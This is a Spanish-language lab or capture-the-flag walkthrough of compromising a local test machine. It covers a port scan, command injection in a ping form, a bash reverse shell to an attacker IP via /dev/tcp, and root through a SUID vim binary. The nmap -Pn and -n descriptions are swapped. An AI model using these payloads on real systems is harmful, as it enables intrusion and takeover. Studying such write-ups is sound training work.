Escaneo y Enumeración
nmap -sS -p- --open --min-rate 5000 -Pn -n 172.17.0.2
-p- : permite escanear el rango de puertos del 1 al 65535
--open : permite escanear solo los puertos que esten abiertos
-Pn : permite desactivar la resolución DNS
-n : permite no hacer ping a la máquina
-sCV : Conjunto de scripts básicos de Nmap
PORT STATE SERVICE
80/tcp open http
nmap -sCV -p80 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: PingValidación del puerto 80
Procedemos a acceder al servicio web a través de un navegador para inspeccionar su contenido, comportamiento y posible vectores de ataque.
Validamos el comportamiento del sitio realizando la primera prueba con la IP 127.0.0.1 y obtenemos el siguiente resultado:
Realizamos una prueba de inyección de comando siguiendo la estructura de 127.0.0.1;ls y obteniendo el siguiente resultado:
La web presenta la vulnerabilidad de Command Injection que nos permite ejecutar comandos en el sistema operativo.
Aprovechandonos de esta vulnerabilidad, procedemos a entablarnos una reverse shell a nuestro equipo para ganar acceso al servidor.
127.0.0.1;bash -c 'bash -i >& /dev/tcp/192.168.192.129/3333 0>&1'Una vez ganamos acceso al servidor, realizamos el tratamiento de la tty.
Escalada de Privilegios
Revisión de sudo
Al intentar listar los privilegios de superusuario con el comando sudo -l desde el usuario www-data, se obtiene el siguiente resultado:
Lo que indica que la herramienta sudo no está instalada en el sistema o no esta disponible para este usuario.
Revisión de permisos SUID
Validamos los permisos SUID con el comando find / -perm -4000 2>/dev/null
Encontramos el binario /usr/bin/vim.basic con el que trataremos de escalar privilegios para convertirnos en usuario root.
En GTFOBins realizamos la bsqueda del binario para abusar y escalar privilegios.
/usr/bin/vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
www-data@5ba58a964e24:/var/www/html$ /usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
E79: Cannot expand wildcards
Press ENTER or type command to continue
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)